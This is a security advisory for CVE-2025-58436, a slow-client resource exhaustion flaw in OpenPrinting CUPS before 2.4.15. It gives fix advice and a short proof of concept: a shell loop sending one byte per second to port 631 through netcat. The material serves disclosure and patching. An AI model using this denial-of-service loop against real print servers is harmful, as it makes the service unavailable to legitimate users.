Allocation of Resources Without Limits or Throttling Affecting OpenPrinting/cups package, versions [,2.4.15)
Threat Intelligence
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-UNMANAGED-OPENPRINTINGCUPS-14152000
- published30 Nov 2025
- disclosed29 Nov 2025
- creditcmatos689, Marcus Meissner, Johannes Meixner, Paul Zirnik
Introduced: 29 Nov 2025
NewCVE-2025-58436 (opens in a new tab)How to fix?
Upgrade OpenPrinting/cups to version 2.4.15 or higher.
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to a client that connects but transmits messages at a slow rate. An attacker can cause the service to become unresponsive to other clients by sending extremely slow messages, such as transmitting only one byte per second.
PoC
To simulate a client slowing down the system, run:
while true; do echo -n "D"; sleep 1; done | netcat localhost 631
In parallel, to simulate other clients, run:
while true; do date; time lpstat -p; sleep 1; done